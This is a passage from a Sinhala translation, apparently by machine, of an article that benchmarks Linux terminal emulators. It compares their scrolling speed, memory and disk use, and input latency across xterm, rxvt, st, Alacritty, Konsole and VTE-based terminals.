පරිදි නිෂ්ඵල මිණුම් ලකුණක්" ලෙස සලකන අතර ඒ වෙනුවට පර්යන්ත ප්‍රතිචාරය ප්‍රාථමික මෙට්‍රික් එකක් ලෙස භාවිතා කිරීමට යෝජනා කරයි. ඩිකී ද ඔහුගේ පරීක්ෂණය නොමඟ යවන සුළුයි. කෙසේ වෙතත්, ටර්මිනල් කවුළු කලාප පළල ගැටළුවක් විය හැකි බව කතුවරුන් දෙදෙනාම පිළිගනිති. Luu විසින් විශාල ගොනු ප්‍රදර්ශනය කරන විට Emacs Eshell හිමාංකය සොයා ගන්නා ලද අතර Dickey විසින් xtrerm හි දෘශ්‍ය අලස බවෙන් මිදීමට පර්යන්තය ප්‍රශස්ත කරන ලදී. එබැවින් මෙම පරීක්ෂණයට තවමත් යම් කුසලතාවක් ඇත, නමුත් විදැහුම්කරණ ක්‍රියාවලිය පර්යන්තයෙන් පර්යන්තයට බෙහෙවින් වෙනස් බැවින්, එය වෙනත් පරාමිති පරීක්ෂා කිරීමට පරීක්ෂණ සංරචකයක් ලෙසද භාවිතා කළ හැක.

මෙහිදී අපට පෙනෙන්නේ rxvt සහ st තරඟයට වඩා ඉදිරියෙන් සිටින අතර, පසුව කාර්ය සාධනය කෙරෙහි අවධානය යොමු කරමින් නිර්මාණය කර ඇති නවතම Alacritty ය. ඊළඟට Xfce (VTE පවුල) සහ කොන්සෝල්, දෙගුණයක් තරම් වේගවත් වේ. අවසාන එක xterm වේ, එය rxvt ට වඩා පස් ගුණයකින් මන්දගාමී වේ. පරීක්ෂණය අතරතුර, xterm ද බොහෝ රැළි ගැසී ඇති අතර, පෙළ සම්මත කිරීම එකම පේළියක් වුවද බැලීමට අපහසු විය. කොන්සෝලය වේගවත් විය, නමුත් සමහර විට එය උපක්‍රමශීලී විය: සංදර්ශකය වරින් වර කැටි වේ, අර්ධ අකුරු පෙන්වයි හෝ එය කිසිසේත් නොපෙන්වයි. අනෙකුත් පර්යන්තවල st, Alacritty, සහ rxvt ඇතුළුව නූල් පැහැදිලිව පෙන්වයි.

විවිධ පර්යන්තවල අනුචලන බෆර සැලසුම් කිරීම නිසා කාර්ය සාධන වෙනස්කම් ඇති බව ඩිකී පැහැදිලි කරයි. විශේෂයෙන්ම, ඔහු rxvt සහ අනෙකුත් පර්යන්ත "සාමාන්‍ය නීති අනුගමනය නොකරන" බවට චෝදනා කරයි:

“xterm මෙන් නොව, rxvt සියලු යාවත්කාලීන ප්‍රදර්ශනය කිරීමට උත්සාහ කළේ නැත. එය පසුපසට වැටුණහොත්, එය අල්ලා ගැනීමට සමහර යාවත්කාලීන කිරීම් ප්‍රතික්ෂේප කරනු ඇත. මෙය අභ්‍යන්තර මතක සංවිධානයට වඩා පෙනෙන අනුචලන වේගයට වැඩි බලපෑමක් ඇති කළේය. එක් අඩුපාඩුවක් වූයේ ASCII සජීවිකරණය තරමක් අපැහැදිලි වීමයි."

මෙම xterm මන්දගාමී බව නිවැරදි කිරීමට, Dickey සම්පත භාවිතා කිරීමට යෝජනා කරයි වේගයෙන් අනුචලනය කරන්න, xterm හට ප්‍රවාහය සමඟින් සිටීමට සමහර තිර යාවත්කාලීන ඉවත දැමීමට ඉඩ ලබා දේ. FastScroll කාර්ය සාධනය වැඩි දියුණු කරන අතර xterm rxvt හා සමානව ගෙන එන බව මගේ පරීක්ෂණ මගින් තහවුරු වේ. කෙසේ වෙතත්, මෙය තරමක් රළු අත්වාරුවකි, ඩිකී විසින්ම පැහැදිලි කරන පරිදි: "සමහර විට xterm - konsole වැනි - සමහරක් ඉවත් කිරීමෙන් පසු නව තිර යාවත්කාලීන කට්ටලයක් සඳහා රැඳී සිටින විට එය ඇනහිට ඇති බව පෙනේ." මෙම ශිරා තුළ, අනෙකුත් පර්යන්තවල වේගය සහ සංදර්ශක අඛණ්ඩතාව අතර හොඳම සම්මුතිය සොයාගෙන ඇති බව පෙනේ.

සම්පත් පරිභෝජනය

අනුචලන වේගය කාර්ය සාධන මෙට්‍රික් එකක් ලෙස සලකා බැලීම අර්ථවත් ද යන්න නොසලකා, මෙම පරීක්ෂණය අපට පර්යන්තවල බර අනුකරණය කිරීමට ඉඩ සලසයි, එමඟින් මතකය හෝ තැටි භාවිතය වැනි වෙනත් පරාමිතීන් මැනීමට අපට ඉඩ සලසයි. නිශ්චිත පරීක්ෂණය ක්‍රියාත්මක කිරීමෙන් ප්‍රමිතික ලබා ගන්නා ලදී අනුපිළිවෙල පයිතන් ක්‍රියාවලි අධීක්ෂණය යටතේ. ඔහු මීටර් දත්ත එකතු කළේය getrusage() සඳහා ru_maxrss, ප්රමාණය ru_oublock и ru_inblock සහ සරල ටයිමරයක්.

මෙම පරීක්ෂණයේදී, 8 MB අවම සාමාන්‍ය මතක පරිභෝජනය සමඟ ST ප්‍රථම ස්ථානය ලබා ගනී, එය නිර්මාණයේ ප්‍රධාන අදහස සරල බව සලකන විට පුදුමයක් නොවේ. mlterm, xterm සහ rxvt තව ටිකක් පරිභෝජනය කරයි - 12 MB පමණ. තවත් කැපී පෙනෙන ප්‍රතිඵලයක් වන්නේ Alacritty වන අතර එය ක්‍රියාත්මක වීමට 30 MB අවශ්‍ය වේ. එවිට 40 සිට 60 MB දක්වා සංඛ්‍යා සහිත VTE පවුලේ පර්යන්ත තිබේ, එය බොහෝ ය. මෙම පර්යන්ත ඉහළ මට්ටමේ පුස්තකාල භාවිතා කරන බව මෙම පරිභෝජනය පැහැදිලි කළ හැකිය, උදාහරණයක් ලෙස, GTK. Konsole අවසාන ස්ථානයට පැමිණෙන්නේ පරීක්ෂණ අතරතුර 65MB මතක පරිභෝජනයක් සමඟිනි, නමුත් එහි ඉතා පුළුල් පරාසයක විශේෂාංග මගින් මෙය සාධාරණීකරණය කළ හැකිය.

වසර දහයකට පෙර ලබාගත් පෙර ප්රතිඵල හා සසඳන විට, සියලුම වැඩසටහන් සැලකිය යුතු ලෙස වැඩි මතකයක් පරිභෝජනය කිරීමට පටන් ගත්තේය. Xterm සඳහා 4 MB අවශ්‍ය වේ, නමුත් දැන් එය ආරම්භයේදීම 15 MB අවශ්‍ය වේ. rxvt සඳහා පරිභෝජනයේ සමාන වැඩිවීමක් ඇත, දැන් කොටුවෙන් 16 MB අවශ්ය වේ. Xfce Terminal 34 MB ලබා ගනී, එය පෙරට වඩා තුන් ගුණයකින් විශාල වේ, නමුත් GNOME Terminal සඳහා අවශ්‍ය වන්නේ 20 MB පමණි. ඇත්ත වශයෙන්ම, සියලුම පෙර පරීක්ෂණ 32-bit ගෘහ නිර්මාණ ශිල්පය මත සිදු කරන ලදී. LCA 2012 Rusty Russell හිදී කිව්වා, මතක පරිභෝජනය වැඩිවීම පැහැදිලි කළ හැකි තවත් බොහෝ සියුම් හේතු ඇති බව. එහෙම කිව්වට අපි දැන් ජීවත් වෙන්නේ ගිගාබයිට් මතකයක් තියෙන කාලෙක, ඒ නිසා අපි කොහොම හරි කළමනාකරණය කරගන්නවා.

කෙසේ වෙතත්, ටර්මිනලය වැනි මූලික දෙයකට වැඩි මතකයක් වෙන් කිරීම සම්පත් නාස්තියක් බව මට දැනෙන්නේ නැත. මෙම වැඩසටහන් කුඩාම ඒවායින් කුඩාම විය යුතුය, ඕනෑම “පෙට්ටියක”, සපත්තු පෙට්ටියක පවා ධාවනය කළ හැකි විය යුතුය, අපි කවදා හෝ ලිනක්ස් පද්ධති වලින් සමන්විත විය යුතු ස්ථානයට පැමිණියහොත් (එය එසේ වනු ඇති බව ඔබ දනී. ) නමුත් මෙම සංඛ්‍යා සමඟින්, සැහැල්ලුම සහ වඩාත්ම සීමිත හැකියාවන්ගෙන් කිහිපයක් හැර වෙනත් බහු පර්යන්ත ක්‍රියාත්මක වන ඕනෑම පරිසරයක අනාගතයේදී මතක භාවිතය ගැටලුවක් වනු ඇත. මෙයට වන්දි ගෙවීම සඳහා, GNOME Terminal, Konsole, urxvt, Terminator සහ Xfce Terminal සතුව Daemon මාදිලියක් ඇති අතර එමඟින් ඔබට එක් ක්‍රියාවලියක් හරහා බහු පර්යන්ත පාලනය කිරීමට ඉඩ සලසයි, ඒවායේ මතක පරිභෝජනය සීමා කරයි.

මගේ පරීක්ෂණ අතරතුර, තැටි කියවීම-ලිවීම සම්බන්ධයෙන් තවත් අනපේක්ෂිත ප්‍රතිඵලයක් මට ලැබුණි: මෙහි කිසිවක් දැකීමට මම බලාපොරොත්තු නොවෙමි, නමුත් සමහර පර්යන්ත තැටියට වඩාත්ම විශාල දත්ත ලියන බව පෙනී ගියේය. එබැවින්, VTE පුස්තකාලය ඇත්ත වශයෙන්ම තැටියේ අනුචලන බෆරයක් තබා ගනී (මෙම විශේෂාංගය 2010 දී නැවත අවධානයට ලක් විය, සහ මෙය තවමත් සිදුවෙමින් පවතී). නමුත් පැරණි ක්‍රියාත්මක කිරීම් මෙන් නොව, දැන් අවම වශයෙන් මෙම දත්ත AES256 GCM භාවිතයෙන් සංකේතනය කර ඇත (0.39.2 අනුවාදයෙන්) නමුත් සාධාරණ ප්රශ්නයක් පැන නගී: VTE පුස්තකාලයේ ඇති විශේෂත්වය කුමක්ද, එය ක්රියාත්මක කිරීම සඳහා එවැනි සම්මත නොවන ප්රවේශයක් අවශ්ය වේ ...

නිගමනය

ලිපියේ පළමු කොටසේදී, VTE මත පදනම් වූ පර්යන්තවල හොඳ විශේෂාංග සමූහයක් ඇති බව අපට පෙනී ගියේය, නමුත් දැන් අපට පෙනෙන්නේ මෙය කාර්ය සාධන පිරිවැයක් සමඟ එන බවයි. දැන් මතකය ගැටළුවක් නොවේ, මන්ද සියලුම VTE පර්යන්තයන් ඔවුන්ගේ ආහාර රුචිය සීමා කරන Daemon ක්‍රියාවලියක් හරහා පාලනය කළ හැක. කෙසේ වෙතත්, RAM සහ කර්නල් බෆර ප්‍රමාණයේ භෞතික සීමාවන් ඇති පැරණි පද්ධතිවලට තවමත් පර්යන්තවල පෙර අනුවාද අවශ්‍ය විය හැක, මන්ද ඒවා සැලකිය යුතු ලෙස අඩු සම්පත් පරිභෝජනය කරයි. ප්‍රතිදාන (අනුචලන) පරීක්ෂණ වලදී VTE පර්යන්ත හොඳින් ක්‍රියා කළද, ඒවායේ සංදර්ශක ප්‍රමාදය GNOME පරිශීලක මාර්ගෝපදේශයේ ඇති සීමාවට වඩා ඉහළින් පවතී. VTE සංවර්ධකයින් බොහෝ විට මෙය සැලකිල්ලට ගත යුතුය. නවක ලිනක්ස් භාවිතා කරන්නන්ට පවා ටර්මිනලයක් හමුවීම නොවැළැක්විය හැකි බව අප සැලකිල්ලට ගන්නේ නම්, ඔවුන්ට එය වඩාත් පරිශීලක හිතකාමී කළ හැකිය. පළපුරුදු ගීක් සඳහා, පෙරනිමි පර්යන්තයෙන් මාරු වීම අඩු අක්ෂි ආතතියක් සහ දිගු වැඩ සැසි හේතුවෙන් අනාගතයේ දී වැඩ ආශ්‍රිත තුවාල සහ රෝගාබාධ වළක්වා ගැනීමේ හැකියාව අදහස් කරයි. අවාසනාවකට මෙන්, පැරණි xterm සහ mlterm පමණක් අපව බොහෝ දෙනෙකුට පිළිගත නොහැකි මිලි තත්පර 10 ක මැජික් පිං එළිපත්ත වෙත ගෙන එයි.

මිණුම් සලකුණු මිනුම් ද පෙන්නුම් කළේ ලිනක්ස් චිත්‍රක පරිසරයන් දියුණු වීම නිසා සංවර්ධකයින්ට සම්මුති ගණනාවක් ඇති කර ගැනීමට සිදු වූ බවයි. සමහර පරිශීලකයින්ට සැලකිය යුතු ping අඩු කිරීමක් ලබා දෙන බැවින් සාමාන්‍ය කවුළු කළමනාකරුවන් දෙස බැලීමට අවශ්‍ය විය හැකිය. අවාසනාවකට, වේලන්ඩ් සඳහා ප්‍රමාදය මැනීමට නොහැකි විය: මා භාවිතා කළ ටයිපොමීටර වැඩසටහන නිර්මාණය කර ඇත්තේ වේලන්ඩ් වැළැක්වීම සඳහා නිර්මාණය කර ඇති දේ සඳහා ය: වෙනත් කවුළු මත ඔත්තු බැලීම. වේලන්ඩ් සංයුක්ත කිරීම X.org ට වඩා හොඳින් ක්‍රියා කරයි යැයි මම බලාපොරොත්තු වන අතර, අනාගතයේදී මෙම පරිසරයේ ප්‍රමාදය මැනීමට යමෙකු ක්‍රමයක් සොයා ගනු ඇතැයි මම බලාපොරොත්තු වෙමි.

මූලාශ්රය: www.habr.com